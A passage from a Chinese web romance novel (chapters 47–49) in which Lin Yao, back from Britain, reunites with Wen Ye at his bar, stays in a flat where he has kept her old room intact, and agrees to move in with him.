林杳想起和他最后见面的那天,他右手掌心贴着很大一块膏药。 说是纹身机握久了得的腱鞘炎。 她隐隐开始觉得不对。 “那他没法纹身了,这些年一直在做什么呢?”她鼻尖发酸。 彭一凡说起这个又来劲了,得意洋洋道:“野哥几年前拿着拆迁款把一个快倒闭的酒吧盘了下来,现在生意那叫一个火,天天爆满。一半女顾客还都是冲着他去了,他之前单手调酒的视频被不知是谁拍了放到网上,转发量十几万,评论一堆说他芳心纵火犯,想嫁什么的。” “那……那酒吧什么名字啊?” “一点半。” 第47章 第四十七章 你不是在这儿嘛 晚上十点滨江路热闹非凡, 霓虹灯一个比一个夸张闪烁,机车炸街,挂满灯笼的小龙虾店门口坐一堆玩手机, 等着叫号的男女。 林杳找到街角, 那家挂着古铜色招牌, 名为“一点半”的酒吧。 生意很好,年轻的, 打扮得光鲜又时尚的年轻人络绎不绝。 相比之下,林杳一张素净小脸,就穿个白衬衣牛仔裤,扎着学生时代一样马尾,看着就有点格格不入了。 她还没走进去,就还被门口的保安先拦住让看了眼身份证。 酒吧里是偏工业风的装修风格,才迈进去林杳就感受嗨到爆的热烈氛围。 晃人眼球的红**光交织着在舞池中来回扫射,音乐声急促热烈,震得她耳膜嗡嗡的,一群年轻的男女跟随鼓点晃着胳膊,纵情又忘我地蹦迪。 林杳绕过这片舞池, 来到靠近吧台的一个卡座坐下。 她往吧台看了看,有两男两女正在忙碌的调酒师, 却没有闻野的身影。 很快有服务生过来招待她, 问她要喝什么, 林杳酒量不是一般的不好, 不敢瞎点, 就先只要了杯牛奶。 她又问服务生:“不是说周末晚上十点钟,你们老板会来亲自来调酒的吗?” 因为那个传到网上的视频的影响,这段时间不少女生是为了他们老板来的, 甚至还有男的,小瑞对此早习以为常了。 唯一有点讶异的是眼前的女生这么漂亮,乖得连酒都不会喝,竟也巴巴地来酒吧这种地方找他们老板,野哥果然魅力无穷! “最近老板太受欢迎了,他可能就来得不太准时了,您稍等,我马上给您把牛奶拿来。” 小瑞说完刚走,身后卡座传来一声轻笑:“来酒吧喝牛奶,真会装纯的。” “是呀。”另一道女生笑吟吟地附和着:“学生妹还是好好学习吧,干嘛学大人跑到酒吧泡男人。” 林杳听出这俩女生在阴阳怪气她,比起生气,更多的是莫名其妙,也不想去搭理她们。 她四处打量着酒吧,身后她们的议论声还在继续。 “不光他那张脸帅得要死,手也绝,跟漫画里画得似的,骨节根根清晰修长,还有凸着的青筋,简直太欲望了,性张力爆棚,我一个手控根本抵抗不住!” “但我听说这老板好像右手是残废的呀。” “一只手残废有什么要紧,那方面不萎就行,你没看过一个说法,男人无名指相对食指越长,那方面就越行,你看那视频,他的手是不是你见过最长的。” “哎呀还真是,这在床上可太顶了。” 林杳听得耳根烫起来,又对她们说闻野的手和那些意淫的话而感到不舒服。 “诶他来了来了!我们快过去!” 林杳心跳倏然加快,她也抬眼望过去,吧台里多出一道颀长的身影,宽阔的肩膀和发达的斜方肌跟个衣架子似的,把一件简单的白t恤都穿得好看有型。 明暗交错的光线打在他脸上,棱角越发清晰深刻,再没一点当初少年人的青涩,整个人完全成熟,是男人了,还是别人眼里性张力爆棚的男人。 此刻男人懒散地微低着脖颈,眼皮漫不经心地垂着,骨节修长分明的手指捏着冰夹往雪克壶里扔进了几块冰。 接着左手握起瓶身,手肘屈起,熟练地摇晃起来,动作快得要晃出虚影来了,冷白手臂上的肌肉线条清晰可见,紧实又流畅。 摇了几十下,手里的雪克壶被他反向往空中一掷,在所有人没反应过来时,又稳稳落进掌心,连续几次,帅得女生发出一片哇声。 也是用左手,闻野拧开雪克壶,淡橘色的液体倒入玛格丽特杯,拿给刚点单的一位顾客。 林杳看见刚在身后阴阳怪气她的俩女生走到了闻野跟前,一人穿着亮闪闪的黑色包臀吊带连衣裙,一人穿着吊带背心和超短裙,从背影看身材婀娜姣好,披散着的长卷发风情又撩人。 听不清她们说了什么,只见闻野又开始摇酒,林杳也站起身过去。 闻野将两杯白色的,顶部一圈绵密奶泡的拉莫斯金菲仕推过去,声线懒慢平直:“慢用。” 黑色包臀吊带裙的女生伸出涂了火龙果色猫眼的漂亮指甲,握起玻璃杯浅尝了口,声音很甜地开口:“味道调得真好,老板咱们加个微信呗,以后我肯定多带小姐妹来光顾你的生意。” 闻野这些日子净是被要微信,有点烦地蹙了蹙眉,毫不拖泥带水,冷淡的拒绝话语脱口而出:“抱歉啊,不习惯加陌生人。” 女生对他的冷漠并不意外,来之前她就看过网上说过的,老板顶着一张又蛊又欲,性张力拉满的脸,实则是个不近女色又难以接近的性冷淡。 但谁都觉得自己可能是例外,尤其是现在这个年代,大帅逼还禁欲不乱搞,这不更吸引人了! 女生嗲嗲地欸了声,嗓音掐得更娇,能滴水似的:“谁刚开始不是陌生人呀,加上微信聊几句不就熟起来了吗。” 闻野不为所动,一张帅脸还是面无表情:“没那个兴趣。” 女生:“……” 女生咬了咬唇,还在想怎么施展一下自己的魅力,耳边响起刚在她卡座旁边要牛奶的那道女声,既不柔也不嗲,语气还有几分生疏和僵硬。 “我们……加个微信吧。” 闻野瞳孔猛地一颤,脸上懒慢又不耐的表情消失得一干二净,低着的脖颈连着四肢整个僵住,甚至不敢立刻抬起头,怕是自己思念成魔,以至于耳朵都出现了幻听。 这副表现落在刚那才搭讪失败的女生眼里,就是闻野听到林杳这句搭讪后站得一动不动,连眼皮都懒得撩起去看一下。 女生嘴角翘了翘,心里越发觉得可笑,就这点伎俩还想勾男人。 她眼斜过去,看到林杳那张清纯又漂亮至极的脸时,讥诮的表情有点儿挂不住了。 但很快又自己调整好心态—— 就算好看,但也太乖太素淡了,看着跟 个没毕业的学生似的,学生时代的男生才喜欢这种乖乖女,成年人跟这种交往起来多没意思—— 正想着,就见一直没动的男人拿出手机,低沉喑哑的声音主动道:“我来扫你。” 女生:“???” 今晚回去她就把她的大波浪拉直! 林杳今天下午才申请的微信,彭思嘉说现在国内大家都不怎么用q.q了,她也注册然后才加了她一个。 这会儿她手指悬在屏幕上,突然一下子搞忘了二维码在哪儿。 似是察觉到她这点窘迫,闻野朝她倾了倾身,他滚烫又急促的呼吸自她发顶拂过,林杳捏着的手机紧了下。 他也闻到了她发丝间久违的,馨香清甜的气味,嗓子传来一阵难捱的痒,突出的喉结重重滑动了几下。 林杳低垂着的目光里伸过来一节冷白修长的手指,在她拿着的手机屏上点了两下,屏幕出现一张二维码。 闻野立即撤回朝她倾去的身体,站得笔直又规矩,捏着手机扫她的,然后发送添加好友的申请。 很快林杳的手机响了下,她点击添加到通讯录。 这一系列动作持续了十几秒,伴随着两人谁也没开口的沉默,却又在同一秒,彼此同时看向对方。 “回国玩几天?” “你右手怎么了?” 两人又都怔住。 林杳先回答道:“我是回来工作的,市第一人民医院,星期一正式上班。” 她看见男人漆黑眸低翻涌出强烈的震惊,重复刚才的问题:“你的右手是怎么回事?” “之前在路上被小混混抢劫,打斗中被他们带的刀划到了手。” “什么时候的事?”她又问,一瞬不瞬地地紧盯着他。 闻野迎着小姑娘清凌凌的眼眸,喉咙像是卡了下,他清了清嗓子:“七年前8月份。” 和彭一凡的说法一致,是在他们分开之后的一个月,可林杳还是觉得有点蹊跷,怎么发生的时间那么接近。 她抿了抿嘴角:“你今晚回去把诊断和当时拍的片子发给我,我再去给熟识的医生看看。” “好。”闻野点头,眼底情绪复杂晦涩。 服务生小瑞端着林杳先前点的杯牛奶来到卡座,没见着她,四处张望了一番,果然在吧台野哥那儿找到了她的身影。 他过去,把牛奶给了她。 林杳接过说了声谢谢,走回刚才的卡座坐下。 平时闻野看着虽冷,但一点不摆老板的架子,于是小瑞这会儿也敢半是玩笑半是真心劝道:“野哥,刚那姑娘比之前找你要微信的都要好看,漂亮得跟下凡的仙女似的,你别还那么冷漠,错过了真这辈子都难遇到了。” 闻野黑眸动了动,眼神从一直盯着看的微信头像抬起:“今晚你帮我个忙。” 小瑞受宠若惊:“哎呦野哥这话说的,有事你只管吩咐啊。” 闻野道:“你帮我照看着她,她要上厕所你跟着一起过去,别让她被不三不四的人骚扰,她要走时你也跟出去,一直到她上出租,把车牌号拍下发我。” 小瑞:“?????” 怎么回事?这就一见钟情,还宝贝上了??!! 林杳喝完整杯牛奶,舌尖还被一股苦涩萦绕,她看见刚才的服务生在她周围晃荡,向他询问有没有度数稍低点的酒。 阿瑞于是给她又端来一杯龙舌兰日出。 这酒如名字一样,颜色是艳丽的橘红色,林杳先浅尝了一口,是偏甜的果汁味,酒精味很少,她一口又一口,很快把一杯酒都喝完。 她拎上包去洗手间,阿瑞谨记着闻野的吩咐,忙不迭地也跟了上去。 林杳擦着手上的水珠出来,明明喝的时候感觉酒精味很浅,现在头却有些晕起来,心脏也跳得很快,勉勉强强才能走路不歪。 迎面走来一人,跟堵墙似的拦住她的去路。 “小妹妹是不是喝醉了啊,我带你出去兜风醒醒酒。”男人膘肥体圆,眯着一双眼冲她笑。 林杳皱了皱眉,说了句不用就试图绕开他,男人戴着串子的粗壮手臂又横过来将她一拦。 早猫在走廊拐角等着的小瑞一边佩服他野哥还真是英明神武料事如神,一边拔腿冲过去英雄救美。 然而他心里有万丈豪情,身高就一米七出头,和对方一米八几,又跟个坦克似的彪悍体格完全不在一个重量级。 男人胳膊一挥,小瑞就被推得踉跄着后退几步,好险才没摔着。 男人从林杳进来时就看上了她,那张脸可太漂亮了,还有种从骨子里透出的纯情乖巧,哪个男的能忍住不想玩个这样的。 又在暗处观察了好久,她就一个人来的,现在还喝醉了,这不正是他下手的好机会吗! 男人伸手要去拉她,还没碰到,一道压着戾气,每个字都浸着森森寒意的声音传来:“碰到她一下,老子把你手剁了。” 男人听出这是谁,抬头果然对上闻野黑沉的眸色和一张发怒的脸,他那只粗壮胳膊上的肉都抖了抖,一个激灵连忙给缩了回去。 常来这条街混的没谁不知道“一点半”的老板,是个又狠又不要命的,右手是废的,但一只左手也能把人揍得嗷嗷叫娘。 “我就、就开个玩笑。”男人讪笑着走开。 闻野敛起脸上的怒容,朝着林杳走过去,刚让小瑞帮忙看着,到底还是不完全放心,一见她离开自己的视线也马上跟了过来。 看到小姑娘白皙透着绯红的脸颊,他眉皱了皱,喉咙微动:“女孩子别随便在外边喝醉,会有危险。” 林杳朝他抬起脸,声音慢吞吞的,有几分含糊:“我特意要的度数很低的,而且……不是随便在外边喝醉。” 她长长的睫毛眨了眨,沁着一汪水色的杏眸看着他,语气理所当然:“你不是在这儿嘛,难道你会让我有危险吗?” 第48章 第四十八章 先住我家 夜色更深, 这条街上的热闹却不减分毫,许多人的夜生活才刚刚拉开序幕,往“一点半”进的年轻男女更多了。 往前走出一段路, 闻野黑眸微低, 看向身旁醉意醺然的姑娘:“现在住哪儿?酒店么?” 他猜她应该才回国不久, 没那么快租到房子,问完就见小姑娘点了点头, 他又问她酒店叫什么,在哪儿。 林杳先前喝的那杯鸡尾酒只有十几度,之所以有晕乎乎的难受感觉,是因为她没经验,喝得太快一下子上头了,但还不至于醉到不省人事的地步。 她咬了咬唇,湿漉漉的杏眸里一派天真无辜:“不记得了。” 闻野:“……” 他心里攀升出几分卑鄙又难以抑制的窃喜,今晚一别之后,他不知道她还会不会来,而他更没脸去找她。 想念日复一日,年复一年, 痒得钻心蚀骨,疼得痛彻心扉。能和她多待一晚, 哪怕只是几个小时都好, 于他而言都是像是恩赐和眷顾。 闻野喉咙动了动, 试探着, 小心翼翼地向她提议, 心也跟着提起来:“那今晚先住我家行么?不远,就在附近。” 夜色下,男人神色哪儿还有半点在酒吧时的游刃有余, 从容闲散,他心跳剧烈,垂在身侧的手指紧了又紧,直到眼前的姑娘又缓缓点了下头。 林杳点完又说了声好。 闻野绷紧的神经终于一松,车就停在街边,他手里的钥匙按了按,拉开一辆黑色suv的车门。 他手撑在门沿,等林杳坐进去了,才绕到另一边上去,也是弯身先给她系上安全带,才又扣上自己的。 他左手握着方向盘,时不时借着看后视镜的机会往副驾驶上瞄一眼,小姑娘微微蹙着眉,有点儿不舒服的样子。 “想吐随时和我说,别难受地憋着。” 林杳轻轻嗯了声,倒不怎么想吐,主要是头疼欲裂,身体发软无力, 意识一会儿清醒一会儿晕的的,就跟大一时那次醉酒后是一样的不舒服感觉。 然而不让自己喝醉,在大脑完全清醒的状态下,她不知道该怎么跟闻野相处,该说些什么,又该做些什么。 反正现在她醉了,不管说什么做什么都可以推卸给酒精,撒谎也轻而易举。 当初闻野拿着拆迁款先盘下的那家酒吧,等生意好了,手里又有了余钱,才付首付买了个酒吧附近新开盘的楼房。 挺近的,开车一刻钟就到了,他把车先开到旁边一个老小区里停着。 他是先买的房,等酒吧赚了些钱再买车时停车场就没空余位了,他和很多类似情况的住户一样把车停到旁边小区,反正也是交停车费,物业自然乐意。 闻野先下车,走到另一边拉开车门,小姑娘低着头,细白的手指还在跟安全带“斗争”。 闻野弯身,“咔哒”一声替她解开。 他背过身,在她面前蹲下:“到家还要走一段距离,上来,我背你,不然你走得累。” 林杳下意识往下走了两步,想起什么,脚步一顿:“可你的手……” “你多大点重量,一只手就能背得动,到家还要走一段距离。” 林杳想起好久以前,她想偷偷离开的那次,在高铁站,他追了过来,单手就把她扛在肩膀上了。 犹豫了几秒,她还是过去,两只胳膊搭在他肩膀上,慢慢勾住他脖子,像过去每一次她化疗完,浑身难受没力气,就是他这么一次次背着她回家的。 少女柔软微凉的胳膊绕上来,闻野神思恍惚了下,有种极为不真切的感觉。 他左手托着她膝弯,慢慢站起来,凭着一只手也把人搂得稳稳的。 与稳而有力的动作形成强烈反差的,是他的声音,沙哑又微微发着颤,一晚上了终于忍不住问出口:“是还不习惯英国那边的生活么?” 不然父母和弟弟都在那边,怎么会选择孤身一人回来。 “是啊。”她趴在他背上,一条条细数着种种不适:“那边东西不好吃,动不动就下雨,出门总要带把伞,一连几个星期都看不到太阳,还有好多一潮湿就跑出来的虫子。水质不好,洗完头很容易油,空气也不好,经常雾霾天,手机信号也差。” 闻野听得眉越拧越深,不是老牌发达国家么,怎么这也不好那也不好的。 “还有一条是最不习惯的。” 她鼻子抽了抽,忍住想要落泪的冲动,声音里却还是控制不住的带上了哭腔:“在那边,没有会时刻记着我所有偏好和忌口,我打个喷嚏就紧张得不行,永远把最中间的西瓜挖给我的……” “哥哥。” 她声线抖了抖,说出对两人都十分遥远的称呼。 闻野胸腔里的心脏一瞬间停止了跳动,又在下一秒跳得飞快,比起分道扬镳彼此成为再也不联系的陌生人,兄妹能够偶尔见面,在限定范围能表达关心和照顾。 电梯门打开,他背着她走进去,按下14这个大多数人避讳,却是他特意选的这一楼层。 因为和她第一次遇见,就是2月14号,下午一点半。刚巧是情人节这天,他也是在这天,一眼钟情,至死不渝。 电梯缓缓上升,他终于艰涩开口:“那你……还想要这个哥哥吗?” 要他这个当初害她伤心惨了,哭惨了的哥哥。 林杳呜咽一声,搂着男人脖颈的手紧了紧:“要。” 闻野笑了笑,够了,他该满足了。 他把小姑娘背到门口,就不得不放下了,看着和正常人没区别,可只有一只手是正常的,右手跟个摆设没区别。 左手托着她,就没办法开门了。 他摸出钥匙开了门,从玄关的鞋柜拿出一双拖鞋放到她脚边。 林杳低眸,看着一双浅紫色,上面还有个卡通兔子的拖鞋。明显是被人穿过的,有些旧了,她有点儿不高兴,同时又觉得好像有点眼熟。 但醉了的脑子不太好使,她一下想不起在哪儿见过,闷闷不乐地先蹬了帆布鞋,穿着棉袜的脚伸进拖鞋,竟完全是合适的。 她跟着闻野往房间走,低着的头一直在看脚上的拖鞋。 走到房门口时,这才一个激灵想起来了,这分明就是她七年前的那双。 在她说过以后再也不会回来的狠话之后,闻野搬家竟还没忘她的拖鞋。 “今晚你睡这儿,卫生间里有洗漱的杯子,我去给你拿牙刷和毛巾来。” 林杳被他的声音拉回神思,抬眼往房间里一看,彻底呆愣住,眼睛用力眨了眨,还是不敢相信所看到的。 房间里的床是她七年前睡过的那张床,桌子是她七年前用过的那张桌子,还有床单,枕头,椅子,窗帘,都原封不动,没有一点改变。 床头还摆着她那只小熊玩偶,桌子上摞着她大学时的书本,连她喝水的陶瓷杯也像她习惯的那样,好好地放在桌子左上方。 林杳有种时光错乱的感觉,像是他们这从未分开七年这么久的时间,还一直生活在一起。 闻野拿来新的牙刷和毛巾给她,一一耐心叮嘱:“衣柜里有你之前的衣服,你应该都还穿得了,澡今天就别洗了,明天早上再洗,酒后洗澡容易晕倒。” 等他走后,林杳等拉开衣柜,果然里面挂着自己从前春夏秋冬所有衣服,甚至连三中的校服也在,她不再意外了,心尖却依然狠狠颤了下。 她拿出一件睡裙,换上之后去卫生间洗漱,再躺到床上。 这些床单被子枕头都是她七年前的,可是干净得一点灰尘没有,反而有种混合着洗衣液和晒过阳光的味道。 她把薄被往身上扯了扯,精神明明很疲倦,又怎么都睡不着。 她不太清醒的脑子里反复回想七年前他们分开的那天,努力地试图想得清晰一点,再清晰一点。 第二天睁眼醒来,林杳迷迷糊糊地看着房间里的陈设布置,怔愣了好一会儿才反应过来今夕何夕。 她从衣柜找出一件短袖牛仔裙,拿着去卫生间冲了个澡,换上后也很合身,就是照着镜子有点奇怪。 这是她现在不会选的款式,有点偏幼稚了,却让她透过一段冗长时光,再次看到了七年前的自己。 林杳走出房间,刚巧玄关的门也开了,闻野拎着几袋子早餐回来。 自从开酒吧起闻野生物钟就是昼伏夜出,没哪天不睡到十二点才起,今早却比太阳醒得都早。 他一直坐在客厅里,生怕昨晚一切是场梦,直到隔着房门听到主卧里传出的脚步声,才像吃了颗定心丸,安心地出门买早餐。 进来看到穿着牛仔裙的小姑娘,闻野也是一愣,这种时光流转的感觉让他心揪了揪,怀念得要命。 林杳走到餐桌前,看着他放下的一堆东西,馄饨,米粉,气水包,蒸饺,还有油条和豆浆,琳琅满目的,像把附近早点摊全买了一遍。 “你怎么买这么多早餐呀?”她不解地问,他们俩哪吃得完这么些啊。 “你昨晚不是说英国那边的东西都不好吃么,好不容易回来了,可不得多吃点。”男人扯了扯唇角,笑着道:“不用担心吃不完,剩下的我中午吃。” 林杳对昨晚两人为数不多说的话还有几分印象,关于食物,也不过是她众多抱怨中的一条,一般人听过也就过去了。 她抬起眼看他:“正好我在这儿,你把当初拍的片子和诊断书拿给我吧。” 闻野顿了下:“行。” 林杳站着等了半分多钟,闻野就拿着个牛皮纸袋从卧室出来,他递给她,她立刻拆开看。 “怎么只有十一月复诊的记录,初诊的报告单呢?”她轻蹙着眉问。 “搬了几次家,不小心弄掉了。”闻野边说边低着眼把剩下的袋子解开,折身去厨房拿了筷子给她:“快吃吧。” 林杳只得把那些片子重新装进牛皮纸袋,先搁到茶几上,她在他旁边坐下,看他 用左手拿起筷子,尽管使用得已十分熟练,她还是觉得好难受好心疼。 闻野偏头看向她:“你去了哪个科室?” “肿瘤科。”她抬起眼睫,和他对望:“你这边离医院好像就几站路,你知道附近有房子出租吗?” 闻野唇动了动,下一秒想说的话又噎在了喉咙里。 不是以前小的时候,他们现在都是成年人了,异性男女,没有一点血缘关系,还住在一起,让别人知道了闲言碎语一堆。何况就算是亲生的兄妹,成年之后也鲜少单独住一起的。 关键是她以后会有男朋友,男的对女朋友和异性合租,很难对此不介意。 “我帮你去问问。”他说。 林杳:“……” 吃完饭,林杳再没有“忘了住哪家酒店”的借口,她一个女孩子,更没法说出像从前一样住一起的话,拿上牛皮纸袋要走了。 闻野开车送她去酒店。 到了酒店楼底下,他不放心道:“要是找中介看房,别一个人跟着去,把我叫上,我手机号还是原来那个,没变。” 贴心得让人生恼,林杳鼓着脸说了声好,拿起帆布包下车走人。 坐酒店电梯上去时,包里的手机响了响,林杳拿出来看,是彭思嘉微信发的一条链接—— 《女子独自租房,被陌生男人跟踪到家门口,半夜撬锁进入》 彭思嘉:【这我刚看到的新闻,比鬼片还吓人啊!!那女生半夜醒来,一睁眼看到床头有个陌生男人也在看着自己,幸好那女生是拳击教练,最后把那男的制服还报了警】 彭思嘉:【杳杳你不马上也要租房嘛,你一定要租个物业管得严的小区,最好门上也安个摄像头,现在女孩子独居太危险了】 林杳:【嗯嗯!我会注意的,谢谢提醒~】 电梯到了她房间的楼层,林杳走出去,用房卡刷开门,坐到床边,把刚彭思嘉发来的那条链接又打开。 把标题《女子独自租房,被陌生男人跟踪到家门口,半夜撬锁进入》和报道的小段内容截了个图。 本想发个**空间,又想起彭思嘉说现在大家都不发说说了,刷的都是微信朋友圈。 于是她又戳进微信,摸索着找到发朋友圈的功能,发了那张截图,配字:好害怕qaq 第49章 第四十九章 相框里的合照 昨晚闻野没睡好, 他不太敢睡着,隔一会儿醒一下,担心早上醒来之后隔壁房间的小姑娘就又消失不见了。 他送林杳到酒店楼下, 看着她进去后, 困乏劲就全上来了, 他搓了搓脸,开车回家, 打算再补个回笼觉。 睡觉前闻野怕她会给自己打电话他没听到,于是把手机铃声调开,音量调到最大,搁在枕头边,阖上眼皮好不容易眯着了。 一个小时不到,骤然响起的铃声把他从沉沉的睡梦中拉扯出来。 没睡醒的头昏沉发涨,闻野一秒没耽搁,立刻拿起手机,扬起的唇角在看到屏幕亮着的备注时又瞬间压下去。 他声线平直冷漠:“你最好找我有比天还大的事。” 手机那头的彭一凡:“……” 哪怕看不见,都能感受到对方此刻压着的火气。 彭一凡被凶得有点委屈:“我特意等到十二点半才打过来的,平常这个点野哥你不都起来了嘛?我想了又想, 还是决定跟你说一声,就是吧, 那啥……林杳昨天回来了。” 他吞吞吐吐说完, 就听电话那边的闻野嗯了声:“我知道了。” 彭一凡震惊了, 就这??!!这反应也太平静冷淡了啊!!! 转念一想, 他又悟了, 看来野哥是真的当初被林杳一走就是七年伤透了心,正想着要怎么安慰一下,那边一句“没事我挂了”, 就真挂断了电话。 彭一凡:“……” 闻野再想睡就怎么都睡不着了,他起来,走到隔壁房间。 基本没什么变化,除了一直保持得平整的床单和枕头皱了一点,留下小姑娘昨晚在上面睡过的痕迹。 他在床边站了会儿才走出去,把早上剩下的几个气水包和蒸饺拿到微波炉里加热,潦草快速地解决顿中饭。 吃完也没事做,闻野去了“一点半”。 下午的酒吧还没客人来,和晚上灯光交错,群魔乱舞的喧闹截然相反,这个时候酒吧就几盏白炽灯亮着,比咖啡厅还安静。 大家各司其职,清洁工拿拖把拖着地板,服务员用毛巾擦着酒杯,调酒师此刻最闲,随便窝在个卡座里悠悠闲闲地玩手机。 闻野也属于悠闲的那个,他长腿在卡座和茶几的间隙中没法伸直,微微屈着,头低垂着,左手四只修长手指捏着手机,用一只大拇指把键盘摁得飞快。 他在跟小区的物业沟通,问小区里有没有业主要出租房子,要是和他一栋楼的更好,他愿意用市场价的两倍租下来。 对方说会去询问,尽快给他答复。 闻野退出和他的聊天框,又点进那只美乐蒂的头像,界面还停留在昨晚的那条,你已经添加了对方,现在可以开始聊天了。 要聊什么呢? 问她现在在干嘛,这问题蠢得没边了,或者问她晚上要不要出来吃个饭,但他们早上才一起吃过的。 他拇指悬在屏幕上方十几分钟,愣是没打进去一个字,最后又点了点她的头像。 也并不抱什么希望,小姑娘从前就不怎么爱发说说,结果昨晚看了八百遍都空白的朋友圈突然多出一条。 点开那截图一看,闻野眉拧了起来,人跟着陷入担忧之中。 就算林杳跟他住一个小区,哪怕是一个单元楼,甚至是对门,万一真有变态尾随她,半夜撬锁进去,再把她嘴紧紧一捂,他也根本不知道。 “野哥,野哥?”何雯连着喊了好几声,才把闻野注意力将降唤了回来。 闻野抬起了头,眉心还折着:“怎么了?” 何雯是这儿的调酒师,在“一点半”开业第二年来的,算起来也在这儿工作了三年多了。 这会儿她对闻野露出打工人专属讨好老板的笑容:“野哥跟你商量个事呗,后天晚上我能不能请个假啊?” 闻野还没说话,一旁擦着杯子的小瑞好心提醒道:“小雯姐,后天是七夕节耶,野哥会给大伙包大红包呢。” 闻野对员工很慷慨,像七夕圣诞这种节日,店里人满为患,为了让大家更有做事的积极性,那晚的收入都拿出来给大家发红包。 何雯肉疼道:“我知道,可我跟男朋友异地,好不容易他那天过来找我。” 这种节日酒吧生意好到爆,从下午恨不得就有人来消费了,她请假了,人手就不够了,必须闻野给顶上。 她双手合十,眼巴巴地看着闻野:“所以那天能不能请野哥您帮我顶一下,反正现在好多女生都是冲野哥您来的。” 顿了顿,弱弱道:“而且野哥你不是没女朋友嘛,又不用过这个七夕节,一个人在家多孤单啊,不如来酒吧热闹。” 何雯满怀期待地看向闻野,就听他问出个毫不相干的问题:“我记得你是和男生一起租房子住吧?” 何雯一愣:“啊?是啊,怎么了?” 闻野又问:“你男朋友不介意么?” 何雯有点意外老板竟然关心起她的感情生活了,还有些感动:“这有什么好介意的啊,现在男女合租不还挺常见的吗,只是合租一个房,又不是合租一张床。只要合租对象可靠,比一个人独居安全多了。” 她说起这个可有话聊了:“以前我就是一个人租房子,每晚下班往家走都回头看几次,生怕被变态跟上,一进家门就反锁,外卖还不敢让人人送上来,就怕对方知道我是一个人住,头像是我爸的照片,昵称叫沙漠一匹孤狼。” “还有一次我半夜睡得好好的,突然被敲门,我吓得要死,拿着刀才敢过去开门,原来是我家卫生间漏水,把楼下的水漫金山了。” 噼里啪啦说完,何雯就看见坐沙发上的 男人倏地起身,拿着手机往走廊那边走,走到一半似是才想起她的请求,丢下一句:“那天请假我同意了。” 何雯:“!!!” 啊啊啊幸福这也来来得太突然了! 闻野走到走廊,先看了眼手机的时间,三点五十,小姑娘要是睡午觉也该醒了,他拇指点了几下,屏幕上出现“等待对方接受邀请”的字样。 几秒钟之后,耳边传来熟悉的声音:“喂。” 闻野轻咳了嗓子:“我刚看到你发的朋友圈了,确实很恐怖,我这酒吧有个调酒师也是女生,她之前就是一个人租房子住,她说女生独居挺危险又处处不方便,连外卖都不敢让人送上来。” 林杳还在酒店房间,听他旁敲侧击了一堆,“噢”了一声,等着他切入正题。 闻野舔了下唇角:“我那不还有间房空着么,要不你还是搬过来一起住?那什么,你也是了解我的,没什么不良生活习惯,在家不抽烟不喝酒,也还挺爱干净的。” 他竭力搜刮着自己身上的优点,像是向她在推销一个合格室友。 “当然,”他喉咙一涩:“以后你要是交了男朋友,想带他回家,我可以回避,不会影响……” 没说完就电话那头的小姑娘打断:“好。” 闻野一愣,狂喜随之而来:“那我现在开车过来接你?” 安静几秒,他听她道:“不用来接了,你把地址发我一下,我三个小时之后到家。” 闻野又开车去了趟商场,在三楼餐饮区找了家评分最高的中餐厅,一进去对服务员说:“糖醋排骨,番茄牛腩,鱼香肉丝还有蒜蓉茄子,四道菜打包。” 这是小姑娘以前最爱吃的。 本来他就是为了她才学的做菜,她走之后这七年他没下过厨房,自己随便吃碗泡面或者苍蝇馆子都行,也不怕不干净或者地沟油,手艺早生疏了,更何况他也只有一只左手能用。 他拎着打包好的饭菜回家,坐客厅的沙发等着,四周环顾了一圈,哪哪儿都不满意起来。 当初买下这房子之后就全部交给装修公司了,要求就是快和简洁,反正这对他而言也就是个落脚睡觉的地方。 现在再看,窗帘灰扑扑的,黑灰色的大理石地板冰冷冷的,要是林杳,肯定喜欢看着温馨的木地板。客厅里还连个电视都没有,她怎么一边吃饭一边追剧。 他拿出手机,在搜索框里输入“窗帘”和“女孩子喜欢”,研究了半天,最后挑了片法式奶油的蕾丝窗帘,地板一时半会儿没法换,又精挑细选下单了几款地毯。 正把一台65英寸电视付款成功时,门铃响了,闻野立即起身过去开门。 林杳拎着的行李箱被他接过,她从鞋柜拿出自己原来的那双拖鞋换上,取下单肩背着的帆布包,手伸进去拿出个精致的方形小盒子。 “我知道我给房租你多半不收,这个给你,就算我一年的房租。”她细白的胳膊朝他伸去。 闻野先接了过来吧,打开一看,是款欧米茄的手表,星光蓝的表盘,黑色鳄鱼皮的表带,款式简约大方,还不便宜。 他蹙起眉心,啪一声盖上盒子:“我什么时候说要收你房租了,你……” 后半句本来要说“你拿去退了”,但心里又舍不得她送的这份礼物,于是改口道:“多少钱,我转给你。” 林杳眨了眨眼,脆生生道:“五百块。” 闻野噎了下,气笑了:“行,那你把发票拿给我看下。” “发票扔了,不信你搜。”她仰着下巴看他,双手伸开,做出任他搜身的动作。 闻野当然不可能搜她的身,拿起手机就要直接转个三万过去,手机屏被只白生生的小手盖住。 她扁了扁嘴,乌黑的眼眸看着他,带着几分祈求的声音软到心坎里:“你就收下吧,这么多年我只送过你一条围巾,也该送你件像样的礼物了。” 闻野根本抵不住她这样,搁下手机道:“你去洗手,我把才买的饭菜去热一下。” 他转身进房,连手表带盒子一起放进抽屉。 吃饭时,林杳听到他问自己什么时候休息,她咽下嘴里的饭:“还不知道怎么排班呢,怎么了?” “你哪天休息,我们去逛逛家具城。”闻野偏头看着她,挑了下眉:“我不是收了你这么大一笔房租,那我这个房东得当得负责点,你房里那些家具都是十几年前了,肯定都得要换新的。” 他之前把这些从拆迁的老房子搬到租的房子,再一样样搬到新家,也不过是想把她生活过的痕迹保留下来,有时也可以自欺欺人地骗骗自己,小姑娘并没离开。 现在她人回来了,他不希望她有一点住得不舒服的地方。 “不用换啊,那些家具都好好的呢。”林杳嘴角翘了翘,语气里流露出些怀念:“而且我看着都还挺有亲切感。” 吃完,闻野还是跟从前一样,半点活儿不让她碰,一个人收拾起桌子,只是话术变了变,从前说她手是握笔写卷子考好大学的。 现在他更加振振有词了:“你的手是要拿手术刀救死扶伤的,要是在我家里因为干活磕着碰着了,我去哪里给社会赔一个你这么优秀的医生。” 林杳:“……” 等都收拾好了,闻野洗干净手从厨房出来:“要不要现在去逛超市买些生活用品回来?” 林杳:“思嘉让我下载了好几个app,说各种日用品都能在上边买,半小时内就能送货上门。” 七年没回国,很多变化她都不知道,幸好昨天彭思嘉一股脑全教给了她,怎么用手机打车,支付宝刷公交卡等等。 “那行。”闻野点点头,拿出门钥匙给她:“我去‘一点半’了,有什么事给我打电话。” 说着走到玄关就要换鞋,身后传来小姑娘的声音:“等下。” 他转回身,她趿着拖鞋过来,仰着的小脸挂着浅浅失落:“那只表你不喜欢吗?” 